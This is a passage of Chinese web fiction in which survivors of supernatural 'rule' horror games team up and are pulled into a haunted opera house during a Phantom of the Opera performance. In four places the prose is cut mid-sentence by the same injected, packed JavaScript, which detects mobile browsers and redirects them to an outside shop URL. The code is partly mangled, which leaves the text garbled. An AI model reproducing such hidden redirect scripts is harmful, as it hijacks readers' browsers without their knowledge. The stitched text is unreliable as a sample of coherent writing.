沈秋白看人到齐,便开始详细介绍。 原来,他们三人是在三个月前的一次怪谈中认识,当时只有他们三人顺利逃生,随后经由沈秋白组织,三人小队成型。 司沉对怪谈最熟悉,经验丰富,并且还是隐形的战斗人员——对于这点,迟青瑜倒是还没见识过。 沈秋白在职场混迹多年,擅长周旋人际关系;而她的弟弟沈冬安还未成年,但是擅长计算机,是一位年轻的黑客。 提到这点,迟青瑜有疑惑:“可是在怪谈里不能使用网络。” 一旁的沈东安轻哼出声,摆着青少年特有的叛逆和傲慢。 “东安。”女人严肃低声喝止,少年收敛神色。 沈秋白笑笑,缓和尴尬的气氛:“还有很多细节,我们之后可以慢慢聊,眼下你意下如何?” 在她谈话期间,迟青瑜默不作声打量起房间的构造。这是应该是一套出租的小区房,半新不旧,有明显的生活痕迹;她在心里默默罗列着:窗外的景色是市中心街景,此处地段房价不低,三人组里看起来沈秋白的经济实力最好,应当是她安排的房子。 迟青瑜的脸上看不出情绪:“你们不声不响把我绑过来,我还有很多事情没处理——比如,我需要先跟我的家人和朋友报平安。至于这件事,让我回去想想再做打算吧。” 沈秋白微笑:“好,是我们唐突了,应该给你道歉。” 紧接着她话锋一转:“不过,有些事情我需要提醒你。” “这次的事情惊动了公安,你或许避免不了去警局一趟,不要提怪谈,找个合适的借口混过去最好。” “你的学妹……据我们了解,她现在正在医院。她的父母免不得要上来找你了解情况,你要做好准备。” “至于你的亲属和朋友,我们就不多讨论,想必你有办法。” 沈秋白罗列着各处细节,也不多讲,说完就放人。 司沉上前一步:“你去哪?我送你。” 迟青瑜不推脱,报了地址。 司沉面带惊讶:“这是你家?离这里很近啊。” “不,是我跟别人合住的房子。”迟青瑜收拾好东西,“我已经有一年不住宿舍了,你方便就送我过去吧。” 司沉也不多追问。他带着迟青瑜出门,来到小区停车场,启动一辆黑色小轿车。 此时正是早上八九点,上班的高峰期。 两地距离只有十五分钟的车程,硬是要半个多小时才能到达。 一路上,迟青瑜借机处理手机信息。 在怪谈里的时候,为了省电,大部分时间她的手机都处于关机状态。现在一打开,联通了网络,未接通的电话和未读信息满满当当地弹出来。 她先是给辅导员发了平安信息,接着告诉合租室友自己快回家了,最后亲自打了通电话给母亲。 电话里,迟母听到女儿平安无事,又惊又喜,也没多盘问细节,一时间只顾着嘘寒问暖。 “没事就好啊,一会儿我跟你爸说一声,我们昨天一整天吃不好睡不好,就怕你出事了。” “没事的妈,我只是……需要一点独处时间,跟平时一样。”迟青瑜思来想去,还是拿出了自己惯用的借口。 只是她的说辞明显藏着什么,主驾驶位的男人抬眸,瞥向后视镜。 “好,小瑜心情不好就要多散散心,什么都别多想……”迟母的话题转了好几番,迟青瑜看时间差不多,连忙打住:“妈,我一会儿还有事要处理,我的社会实践已经完成了,过几天就回家。” 她连着应答母亲的叮嘱,迟母终于放下心。 挂断电话,她呼出一口气。 沉默了一路,司沉终于有机会开启话题: “你合住的这个地方地段不错,是跟同学一起住吗?” 态度随意,就像普通的出租车司机跟乘客唠嗑。 “不是,是我发小。”迟青瑜不抬头,敲打手机回复其余的信息,“她今天不用上班,应该在家。” “这个地方离A大还是有点距离,你每天都要花时间转乘地铁,挺辛苦的吧?” 话里话外,都透露着他的好奇。 “还行吧,总有更辛苦的事情,我只是选择了相对轻松的那个。” 她往背靠上一躺,车载香薰适当舒缓她的神经,她看向后视镜,与司沉的眉眼对上:“话说回来,你不紧张了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274144|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 路口的红灯亮起,小轿车停下等待。 司沉自嘲一笑:“你看出来了?” 他身上的衣服更换过,头发微微湿润,脸上也带着洗漱的痕迹,显然是一大早就清理过一番。 迟青瑜有点嫌弃地看了眼自己:一会儿一定要洗个热水澡。 她把这件事写进list to do(代办清单),没好气地回他:“你不仅有空收拾自己,还有心情专门来送我,总让我觉得奇怪。你在怪谈里不是避着我走吗?” “这也是我专门找你的原因。” 绿灯亮起,车辆再次发动。 司沉:“我方才进入房间的时候才发现,你的气味消失了,或者说我忽然就闻不到了。” 迟青瑜不以为意:“好事,意思是你的病有可能好转?” 司沉有些气馁:“并没有,车载香薰的味道我还是闻不到。” 怪事。 迟青瑜轻蹙眉头:“我记得你说过,你的这个病是一次意外落下的后遗症?” “没错,但更准确地说,那次所谓的意外……其实是我第一次经历的怪谈。” 迟青瑜坐直身子。 “我半年前第一次经历怪谈之后,就出现了这个情况。冥冥中,我认为这病与怪谈一定有关,所以我才这么频繁地进入怪谈,希望能找到治病的线索。” “你没跟其他人说,包括你的队友?” 司沉摇头:“在他们面前,我的说辞是想要尽快破解游戏。”他顿顿,欲言又止。 迟青瑜努努嘴:“沈秋白那么机敏一个人,估计早就看出来你藏着事,只是不追问罢了。” 司沉点头,将话题扯回来:“无论怎么说,你的存在于我都很特别,看在我的份上,不知你是否能答应她的请求?” “加入我们。” 迟青瑜品过味儿来:“哦——协助你治病?” 这事儿其实并不难,迟青瑜对三人的印象尚可,而且沈秋白是个很有领导力的人,几个人的配置也非常互补,合作对她来说利大于弊。 她松口:“这件事好说,没太大问题的话,之后我跟沈秋白聊聊具体事项就行。” 司沉失笑,情绪明显轻快起来:“你好像来应聘的员工啊。” 他方向盘一打,车辆拐进街道,停在一栋楼前。 “到了,这是……?” 令司沉惊讶的是,目的地并不是什么商品楼,也不是高档小区,而是一栋自建房。 这么说都谦虚了——眼前的房子占地约三百平,三层高的法式小洋房带着浓厚的欧式风情,花园里说不出名字的艳丽花卉摆弄着迷人的姿态,早晨阳光正好,衬得这里舒适惬意。 司沉:在市中心有这样的别墅,有点夸张了吧? 迟青瑜看他有些惊讶,解释道:“啊,这是我发小的房子,好像是她爸妈送的毕业礼物。” 铁艺的大门从内部打开,一名身穿粉红玩偶睡衣的女性探出头,她透过车窗看到迟青瑜,兴奋地跑过来。 “小瑜,你没事啊!可回来,你都不知道我多担心你!” 迟青瑜回道:“嗯,我没事。” “额,顺带介绍一下,这是我发小,舒瞳。” 被介绍的女人看向车内,才发现还有一个男人,她凝神上下打量对方一番,不可置信地抓住迟青瑜的肩膀:“天啊小瑜,你带男人回来了?!” 迟青瑜:……? 司沉:你也没说你发小是个富婆啊?? 19.幕间2 “舒瞳,不是你想的那样……” “不是?”舒瞳瞥一眼男人,“那他是谁,恰好帅气的滴滴司机?” 她言辞直接,语气不善,司沉不理解她对自己的戒备感,带着困惑的目光看向迟青瑜。 迟青瑜这边,一时也不好解释,只能糊弄过去:“总之,他是我朋友。我现在又饿又累,想回去休息一下。”她扭头向司沉致谢,“也谢谢你专门送我一趟,回头再联系。” 舒瞳察觉出迟青瑜想“息事宁人”,她松开手,换上一副主人姿态,精致小巧的脸蛋挂着笑:“既然是小瑜的朋友,那就谢谢你送她回来了,慢走不送。” 迟青瑜默默松口气,舒瞳没有太过为难他,算是司沉幸运的。 司沉一走,迟青瑜立刻钻进房间闷头洗漱,舒瞳无奈,只能先让阿姨做好早餐送进她的房间。 这栋房子平日里只有两人居住,舒瞳的父母早就搬去乡下养老,将家业交给大女儿,如今小女儿也自力更生,早就不需要二老操心。 于是舒瞳自然住上主卧,迟青瑜睡次卧。 她重新回到现实世界,被全智能家居细致伺候。迟青瑜完全放松下来,她在卫生间花了一个小时,痛痛快快地将疲惫洗去,才换上舒爽的居家服出来。 房间内,热气腾腾的早餐已经做好,舒瞳不在,桌上留着一张纸条:【小瑜,这几天乐团要加练,过段时间有演出,我先走了,早餐在桌上记得吃!】 底下还有一行字:【我给你留了两张票,是八月初我们乐团跟别的剧团的演出门票,你记得来看我表演!】 纸条下面压着两张门票,演出剧目是著名音乐剧:歌剧魅影。 迟青瑜觉得这两张票实在是沉重。 舒瞳是个名副其实的富二代,并且她还是名副其实的天才小提琴少女,在首都音乐大学毕业之后就加入乐团,成为首席。 生活可谓顺风顺水,这样的天之骄女自然会有很多附炎趋势的人围上来。 但舒瞳性情直率,最见不得脏东西,加上她脾气一点就炸,说话毒舌,久而久之,没捞到好处的人开始在背地里排挤她。 迟青瑜从幼儿园就跟她在一个学校,大学才分开,算起来,两人一起被排挤的日子满打满算也有十几年,可谓是革命友谊。 至于眼前的两张票,迟青瑜明白她的意思。 高中那件事过后,舒瞳就对她的人际交往非常敏感,准确来说,对她身边的陌生异性都很警惕。 这不怪她,迟青瑜也不打算藏着掖着。 她收起门票,一边吃着早餐一边给司沉发信息: 【八月初有空?一起去看个音乐剧。】 想了想,她又补充道:【建议你不要拒绝,这是舒瞳的表演,她给我们两个人留了票。】接着她发给对方演出的详细信息。 此时正在家里休息的司沉收到消息,犹豫再三,克制自己好奇心,回复一个“好”。 他继续敲打手机:【你有空的话,可以看看邮箱,里面会给你一个网址。】 【那是一个怪谈论坛,只有经历过怪谈的玩家才能登录。我第一次从怪谈里出来时,就受到这个邮件,你应该也会有。】 迟青瑜一查,果然在拦截邮件里发现了这封邮件。 【看到了。】 迟青瑜点开网址,展现在她眼前的是红黑色的网页,页面简陋,内容一览无余。 论坛名叫“怪谈之家”,看着像是盗版网站。 论坛不能以游客身份游览,迟青瑜点击注册,弹出的窗口却是:【已识别玩家身份,玩家姓名:迟青瑜,已通过验证,登陆成功。】 倒是省去填写个人信息的步骤。 经历过一次怪谈之后,她对这些不大正常又真实存在的事,有了点免疫力,也不知道是好是坏。 论坛的功能非常单一,只有发帖、看帖和回帖的功能,外加个人栏里的好友私密聊天。 首页置顶的帖子内容是找队友的,里面的人说话自带谜语人BUFF,看来大家都不大想暴露个人详细信息。 迟青瑜没有需求,便继续往下翻。 帖子:A城的六人失踪案追踪(已更新) 发帖人:(已匿名) 1楼:楼主是内部人员,这起案件被压了热度,但上面的人已经有定性,把这个案件定义为怪谈连环失踪案。 别急着吐槽,你们以为这大半年的,国内大大小小这么多诡异离奇的失踪案,上面会没有动作吗? 这次一共失踪了六个人,地点是A城的市立儿童福利院,失踪人员名单在下面,你们认领一下看看有没有熟人。 一楼的发帖时间是昨天早上,几乎跟警方介入调查的时间重合。 2楼:一个认识的都没有,这回全是新人? 3楼:也不一定,或许只是我们不认识;退一万步,人家认识也不会暴露给你啊? 4楼:码住,前排找队友。若是幸存玩家看到这条可以联系我…… 时间跳到晚上,贴子里有了不一样的回复。 楼主:拿到最新消息,有一名失踪人员存活,是个女大学生。不过她出来的时候昏迷着,不知道什么时候能醒来。 134楼:只有一个人活着?不会是“伥鬼”吧? 迟青瑜眼皮一跳,闭闭眼,略过恶意信息。 看起来,大众对这起失踪案几乎没有了解,她和司沉出来时,应该是沈氏姐弟先人一步将他们带走,没有被警方发现,倒是省去不少麻烦。 然而,警方对这一系列的怪事也有所动作,看主楼的描述,应该会还处于暗中调查的阶段,不会明目张胆将这件事摆出来。 她继续浏览论坛。 144楼:我有种不对劲的感觉,最近怪谈出现的频率是不是增多了?我是论坛老人了,之前这里的怪谈记录贴没这么频繁,近期一个月内就记录了三起,还有多少是我们不知道的? 而且,范围好像也越来越大,一开始只是首都,这次都到A城了。 A城是国内数一数二的大城市,距离首都有半个国家那么远的距离。 迟青瑜有种冲动:她想用爬虫软件把论坛信息都扒一便。转念一想,这事沈东安那小孩或许已经做过了。 【差不多看了些东西,这论坛查得到服务器地址吗?】 司沉回复:【这就是最奇怪的事情。沈东安一早就查过了,但完全没有任何信息。用他的话讲:“除非这个服务器不在三维位面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283910|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不然我是不可能找不到的!”】 迟青瑜能想象得到中二病小孩的语气。她回复:【那就只能解释为,跟怪谈一样的灵异论坛?】 这算什么,十几年前的恐怖小说? 【目前只能这么解释。】 司沉的对话框繁忙着,过了好一会儿才出现下条信息:【沈东安平时会扒这里面的信息,论坛里说话的人,他都能扒出来。你如果看到有什么在意的细节,可以告诉我。那孩子性格有些别扭,你跟他不熟,暂时先我来负责沟通更好。】 迟青瑜:【明白了。】 换言之,沈东安是CPU处理器,她是电脑操作人。 两人没有多聊,各自都有要紧事处理。 之后的几天,迟青瑜先是处理好学校大小事宜,再与沈秋白达成共识,加入他们的队伍,还抽空收拾回家的行李。 暑假了,她不好继续借住,尽管舒瞳本人一再挽留,迟青瑜依然拒绝:“我跟我妈说了过几天就回去,已经约好了的。我跟你约好的事情也不会反悔,过段时间一定来看你演出。” 舒瞳这才放人。 在这之后的半个月里,迟青瑜回归日常生活,网络上与司沉三人保持联系,夜深人静的时候,她也会想起孤儿院里的经历。 她没忘记徐敏对她说的话,但她还没有底气去医院见她。 梦里的内容,甚至都是当时怪谈的经历。 迟青瑜这时便痛恨自己的超强记忆力,就算在睡梦中,也能将当时的细节一一展现。 深夜惊醒,她也只是深吸一口气,没有将情绪发泄出来,以免被父母察觉异常。 好在,现在是假期,她有足够的时间调整心态。 司沉那边,比迟青瑜还要忙些。 “天使孤儿院”怪谈消失后,他先是配合沈东安的要求,协助整理数据信息;而后再打点内部的线人,收集了些上面的动作情报——他明面上禁止沈东安直接黑进国安系统,不仅违法,要万一真被抓了还得吃牢饭。 只不过沈东安有没有做,他就管不着了。 闲暇之余,他才想起迟青瑜的邀约。 司沉从小就没太多文艺细胞,对于音乐剧是一窍不通,只能借助网络的力量恶补知识。 沈秋白路过时,瞄到他的屏幕:“《歌剧魅影》?你什么时候对这些东西感兴趣?” 司沉只好一一交代。 沈秋白露出意味深长的笑容,拍拍他的肩膀:“加油啊,前方是一场恶战。” 殊不知,她一语成谶。 不久后,沈东安抱着电脑,神色严肃,召开线上会议。 迟青瑜是第一次参加,她对沈东安的电脑所持有的特殊能力有些许了解:那电脑有他特制的功能,能收集怪谈的能量信息。 听完沈东安的陈述,众人面色均是凝重。 沈秋白叹气,做总结:“下一次怪谈的地点很有可能是A城的国际歌剧院。” 迟青瑜的太阳穴有些痛,她扶着额头。 沈秋白:“也就是你们之后要去看表演的地方。” 迟青瑜看向桌面的两张门票,不知为何,她注意到上面印刷的字体,竟然如此刺眼。 ——歌剧魅影。 20.魅影歌剧院01 迟青瑜看着门票发愁。 虽然沈冬安的预测并不十分准确,但截至目前依旧保持极高准确率。眼下,他们没有充足的理由报警,不可能终止演出。 而且,舒瞳还是乐团的首席小提琴手,就算真能劝她不去,又要以什么样的借口说服她呢? 背地里办事束手束脚的,迟青瑜也很头疼。 “门打开的那天一定是演出当天吗?”迟青瑜不死心。 “不一定,但概率很大。”沈冬安说。 她没有犹豫太久:“既然这样,这次演出我必须得去。你们说过,进过怪谈的人再次进入的可能性很大,我去了,说不定我的朋友被卷入的概率会更低。” 一般来说,规则怪谈卷入的人数与怪谈规模成正比,目前还没有超过十个人的记录。 演出当天,演员、乐团、观众加上工作人员,成百上千人。退一万步说,舒瞳要真的被牵扯进去,自己也要保证她的安全。 沈秋白:“这次行动我跟你们俩一起去。” 她没有提到沈冬安,屏幕里的少年面露不满:“这次又没我?” “我们不能让所有人都进去冒风险,你要负责捞人。再者,如果我们这次还能破解怪谈,你也多一份数据需要采集,有得你忙。” 沈秋白说得头头是道,沈冬安无力反驳。 他打量着屏幕上的三张人脸,确实选不出比他更合适的后勤人员,虽然心已死,但情绪还在。 “姐,你下次再找点人,我们人手不够了。” 屏幕里的沈秋白没忍住瞥他一眼,直接跳过他的话题:“根据上一次在天使孤儿院的记录,我建议着重调查几个方面。” 屏幕弹出商务简洁风的PPT,沈秋白拿出讲解企划案的气势:“第一,我们的猜测被证实:场的形成确实与死者的生前经历有关,且场的类型和规则与核本人密切相关。” “距离演出开始还有几天,东安你要负责搜查与歌剧院有关的新闻记录。” 话虽如此,但所谓的歌剧院只是一个非常笼统的目标。像是赵雪玲那样,并没有真正去过福利院的孩子,也会生成名为孤儿院的怪谈。 所有与歌剧院有关的关键字,都是搜索对象,这个信息量就很大了。 沈冬安也想明白这点,皱着眉:“就这几天,不好弄。” 迟青瑜思索后,补充道:“怪谈目前只有我国境内出现,优先收集国内的新闻;时间维度上,能找到详细的也就近几十年,再往前的案子就很难查到了。” “优先找国际歌剧院的相关新闻,还有,也要特别关注与音乐剧《歌剧魅影》相关的消息。” 迟青瑜认为,怪谈的日期既然与演出日子高概率重叠,说不定跟演出曲目也有关系。 只是思维一发散,能找的线索就更多了。 沈冬安一个头两个大:“打住打住,再想下去就是大海捞针了。” 迟青瑜:“之后我给你一份思路,你就按照上面的找吧。整理好了发我就行,我负责看。” 她短暂地强势起来,又颔首示意沈秋白继续讲解。 沈秋白清清嗓子:“第二,国际歌剧院有安检措施,且比较严格,我们之前习惯带的一些装备都不能用,所以,我找了几个替代品。” 画面切换,几张图片展开。 这要不说,迟青瑜都没注意,原来在怪谈内部网络和通讯都是可用的,只是不能联系外界;而防身工具,管制刀具肯定没法携带,只能考虑带带美工刀之类的临时顶替;其他的工具可以自己考虑携带,如应急食品、药物和打火机等。 林林总总看下来,迟青瑜以为自己要去参加野外求生。 她看得认真,总结道:“看样子,这些都不是对付诡异的道具。” 沈秋白挑眉:“没错,这些是应对其他玩家的。” 在怪谈里,有经验的玩家会优先寻找队伍里潜伏的死人,清除隐患,而是否能取得其他人的信任,则是另一码事;若是遇上蛮不讲理的人,会不分青红皂白对人动手,那就更麻烦了。 这段时间,沈秋白给迟青瑜分享了不少以往的怪谈记录,迟青瑜对此有所了解。 “第三点也是最重要的,我们三人尽量一起行动,可以互相证明身份;至于其他玩家,保持警戒心。” …… 几日后,时间来到演出当天。 演出时间是晚上八点,三人小队早早就在附近等待,沈秋白与沈冬安保持着无线电联系,一旦信息中断,几人就要小心怪谈降临。 迟青瑜这几天一直都在反复查看消息,这些新闻和小道消息全都来自沈冬安,一直到进场,她都还在认真阅读。 有关联的信息实在是太多了。 迟青瑜揉揉太阳穴,司沉递过来一杯冰美式,带着冷意的液体很快让她精神振奋起来。 司沉看她这副模样,有些担心:“你这几天都没休息吗?” “别担心我,每天基础六个小时的睡眠我还是能保障的。”迟青瑜不以为意。 司沉不予置评:“意思是说,其他时间都在看资料吗?” 迟青瑜抬眼看他:“如果你的好朋友也面临危险,或许你会比我更拼命。” 司沉握着冰美式的手僵住,纸质咖啡杯有些变形。 她将男人微怔的神色收入眼底,视线回到屏幕上:“抱歉,我没别的意思。” 他低头:“没事,我理解。” 两人的气氛有点僵,沈秋白直接打断两人的对话:“冬安那边说,数据显示还没到时候,可能要等到表演开场。” 迟青瑜面色一变,切掉资料,一通电话打给舒瞳。 舒瞳很快接听:“喂,小瑜,你快到了吗?” 迟青瑜:“我已经到了,有些事情要跟你说,你别多问为什么,按照我说的做就行。” 尽管舒瞳满头问号,但她相信迟青瑜:“好,你说。” “从现在开始,要注意手机的陌生信息,如果发现有陌生的信息提到《玩家守则》,不要管任何事情,忘记演出,马上来观众席找我。” 迟青瑜性子淡淡的,很少用这么严肃的语气说话,舒瞳了解她的习惯,这肯定是非常重要的事情。 “好。” “同时,如果你发现周围的场景和人有任何异常,不管遇到什么事情都不要纠缠,马上来找我。” “遇到上面的情况,如果短时间内找不到我,那你要留意周围的任何文字。” “概括地说,几乎是一切跟规则有关的文字。” 这下舒瞳有些懵了:“规则?” 迟青瑜:“一时半会儿不好解释,但你如果看到了肯定能明白我的意思,那些规则看起来正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297651|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是细想会有些诡异。记住,看到了就拍照,怕你记不住,最后,一定要按照规则上的做。” 舒瞳起了一身鸡皮疙瘩:“小瑜,你还好吗?” 迟青瑜深吸一口气:“我很冷静,就这样,先挂了。” 整个过程也就一分钟,目睹这一切的两人交换一个眼神,很识趣地没有询问内情。 迟青瑜站起身:“走吧,要开场了。” ------------------------------------------------------ 将近八点,三人检票入场。 一直到三人坐上观众席,流程正常,周围没有异样,通讯依旧保持。 迟青瑜不肯放过任何一个细节。 “别紧张。”司沉坐在她旁边,轻轻拍着她的手臂,“还有我们在。” 他没有更多的解释,而是强调自己和沈秋白的队友身份,提示迟青瑜她现在不是孤身一人作战。 这样简短的话语,莫名让她感到安心:“好。” 观众席安静下来,演出即将开始。 这次的演出,是外国剧团的全球巡演,因此全程都是英文演讲。来观看表演的,有不少是外国友人,其余的大多是音乐剧爱好者,也有所谓的“上层阶级”附庸风雅之流。 像迟青瑜等人,与现场的气氛格格不入。 舞台的幕布徐徐拉开,演出正式开始。 《歌剧魅影》的故事背景是巴黎的一个剧院。 主要讲述的是在巴黎的一个歌剧院里,传说中的歌剧院幽灵爱上了女主角克里斯汀,并且教她声乐、帮助她获得女主角的位置。但女主角却爱着自己的青梅竹马兼剧院资助人拉乌尔,由此引发的有关嫉妒、谋杀和扭曲的爱的故事。 序幕开场,是一场拍卖会。 此时正在拍卖一些藏品,工作人员拿出一个纸质手摇音乐盒,音乐盒上有一只造型可爱又滑稽的猴子。 拍卖师介绍,这个音乐盒正是在这所剧院的地下发现的,至今仍然可以使用。 工作人员摇动手杆,音乐缓缓流淌。 伴随着音乐声,年迈的子爵拍下藏品,心思忧虑,好似在回忆遥远的过去。 而后,拍卖师的下一件拍品,正是剧院的旧吊灯。 原来,当年的那场著名的灾难过后,这盏吊灯被翻新,拍卖师称“我们或许能借助这微弱的光芒,驱散蛰伏在剧院多年的幽灵!” 至此,一切正常。 而后,黑色的幕布拉开,华丽的吊灯火花溅射,场景逐渐变化,预示着它正带着观众回到多年前的故事中。 交响乐队开始演奏,随着恢弘且又带着悬疑感的主题曲响起,序章结束,第一章开启。 ——原本应该是这样的。 但是,就在新场景即将开启时,剧院内灯光熄灭。 迟青瑜抓紧了座椅扶手。 “信号断了。”沈秋白沉声。 那悬挂在舞台正上方的吊灯,竟然开始不受控制地摇晃,不安定的电火花飞溅,很明显已经超过了舞台特效的程度。 观众席有些嘈杂,已经有人开始感到不安。 而后,火花越来越大,那吊灯的绳索竟忽然断裂,灯直直地向舞台正下方砸下—— 舞台的正下方,是交响乐队。 21.魅影歌剧院02 吊灯砸下的瞬间,轰鸣声和尖叫声混作一团,一道尖锐的女高音好似要刺穿耳膜。 耳鸣声敲击大脑,迟青瑜双手捂住耳朵,却无法抵挡声音的袭击。 现场很混乱,迟青瑜看不清舞台的情景。 舒瞳呢,她怎么样了? 这么想着,眨眼的功夫,剧场内瞬间寂静。 迟青瑜明白,自己又一次进入了怪谈。 她想要站起身,却被一旁的司沉猛地捉住手腕,力道像是有些控制不住。 她低头一看,男人结实的小臂肌肉紧绷,青筋浮现。 他这是……又闻到了? “嘘,别出声。”头顶传来他低沉的声音,司沉见她安稳坐着,松开手,“演出要开始了。” 迟青瑜一时担心舒瞳的安危,没发现此时舞台的幕布有动静,隐隐有开幕的迹象。 迟青瑜心一沉。她理解司沉的用意,尽管现在没有任何规则出现,但在剧目开场后观众保持安静是大众最基本的认知。 滋啦滋啦,又是一阵熟悉的电流声,剧院内广播响起: 【各位亲爱的观众朋友,欢迎来到魅影歌剧院。我们的演出即将开始,为了保证演出质量和观众体验,请各位观众遵守以下规则:】 《魅影歌剧院观众守则》 【1、魅影歌剧院是世界上最大的歌剧院,也是唯一的歌剧院。】 【2、我们有且只有一个演出曲目,你可以在剧院内各处看到我们张贴的海报。请注意,如果你看到不属于本院的海报,请无视上面的内容,并立刻通知工作人员将其撕下。】 【3、在这里,我们有且只有一位尊贵的女主角,她的名字叫克里斯汀。当女主角在舞台表演时,禁止任何人的目光离开她。她是闪耀的、值得万众瞩目的。如果违反,后果自负。】 【4、除了女主角以外,其余的表演者都是不重要的。你可能会惊异于他们面容模糊、没有五官,但请放心,配角永远都不会出众,这很合理。】 【5、表演开始后,所有观众禁止随意走动、发出噪音等影响他人观看体验的行为。】 【6、如果你违反规则五,那么全场的观众都会看着你。此时,你应该回到位置上,安静看完整场演出。】 【7、魅影歌剧院会售卖女主角的个人签名海报,观众可前往售票处购买。注意,除了女主角,我们不会售卖其他任何人的海报。】 【8、如果你看到售票处有其他人的海报,不要购买。】 【9、女性观众可以购买其他人的海报,但只能看十分钟,十分钟后务必销毁。】 【10、地下歌剧院并不存在。如果你见到任何人或文字声称这里有地下歌剧院,请无视且尽快远离。】 【11、观众禁止进入后台。】 【请观众朋友们牢记并遵守以上规则,祝你能有一次愉快的观赏体验。】 广播结束。 这次的规则一次性给了十一条,听着有些唬人,且规则里存在明显的互斥条例。 但迟青瑜并不认为这是一件坏事,相反,规则越多,她能从中窥探的“核”的意识越多。 这次的核,又是什么样的呢? 迟青瑜按兵不动,幕布徐徐拉开,上场的女花腔歌手唱着著名的曲目《汉尼拔》。 很好,这是《歌剧魅影》的经典开场曲。 看来歌剧院的唯一演出曲目就是《歌剧魅影》。 女主角此刻还未上场,正是观察信息的好时候,迟青瑜按兵不动,眼神四处张望。 剧院的内部场景几乎没有变化,大体上保持原样,只有部分细节有所出入,但迟青瑜并未发现重要的内容。 于是她想目光投向左手边的观众席。 她的左手边,原本应该坐着其他的观众,但此时,身旁的位置上,却坐着一个人偶。 人偶的四肢木纹明显,迟青瑜的视线逐渐上移,发现身旁的人偶竟然没有五官,她立刻收回目光。 眼角余光一撇,场上竟然坐满了人偶。 不对。 迟青瑜立刻发现了不对劲的地方。 规则里面曾多次提到“视线”,强调了女主角出场时,所有人的目光必须紧紧跟随着她,同时还提到如果违反了规则,观众会看着“你”。 这些木偶别说眼睛了,连五官都没有,谈何“看见”? 此时,台上的女花腔歌唱家开始在新的剧院投资人面前表演曲目《think of me》,她的声音悠扬婉转,但却并不合幽灵的心意,于是幽灵制造事故,将歌唱家吓得花容失色,随后宣称不解决幽灵事件要罢演。 众人一听女主角要罢演,苦于一时找不到替补。 此时,剧团管理将说出克里斯汀的名字,声称她师从某位大师,声乐学习得很好。 女主角克里斯汀即将上台,迟青瑜连忙注意力转回舞台。 从那伴舞人群里走出来的克里斯汀,还穿着芭蕾伴舞的衣服。但是……她脖子以上的部分,却是空的。 迟青瑜的票是前排,她看得很清楚。 那不是一个“人”。 包括其余所有演出人员在内,所有“人”,都是人偶。 而女主角克里斯汀,不过只是聚光灯下最显眼的人偶,更何况,她还是一个没有头的人偶。 迟青瑜有些心悸:幸好是人偶,不然场面可能会有些血腥。 但现场对此没有任何反应,祂们似乎认为,克里斯汀就应该是这样。 随着女主角上场,剧院内发出咔嚓咔嚓的声音,是人偶正在扭动祂们的关节。 祂们身躯不动,头部沿着中轴一百八十度旋转,将没有五官的正面扭到身后,从后脑勺处裂开一道缝,赫然是一双眼睛! 那眼睛质地如同玻璃,却好似有神,祂们的目光统统聚焦在场上的女主角身上。 迟青瑜忍不住胡思乱想:所以,这才是他们的正面?什么意思,女主角不在,就用后脑勺看人吗? “好的,女士,让我们从咏叹调开头开始。” 这是让克里斯汀试唱。 “等一下。” 一个清澈甜美的女声打断了即将开始的演唱,从肢体语言来看,说话的正是女主角本人。 她的声音不止从身体的哪个部位传出:“我的声音,要用这世界上最美妙的乐器伴奏,我想,这个乐器一定是我父亲最拿手的小提琴。” 迟青瑜咬紧后槽牙,她的直觉雷达正在报警。 “并且,我还要这里最厉害的小提琴手来为我伴奏!哦,那个职位叫什么来着,首席?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313481|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对!叫你们的首席小提琴手出来为我伴奏吧!” 克里斯汀一改原作中温和的性格,颇有股嚣张跋扈的架势。 周围的人偶听了这话,说的台词也开始偏离原作:“快,快叫她上来!” 迟青瑜抓紧了扶手。 不会这么巧的吧? 几个人偶从幕布后推推嚷嚷,拥着一个人走上舞台。 那人穿着黑色的精致礼裙,梳着优雅的卷发,精致的妆容在舞台灯光下,也掩盖不住脸上的僵硬和煞白。 迟青瑜和舞台上的人对上视线。 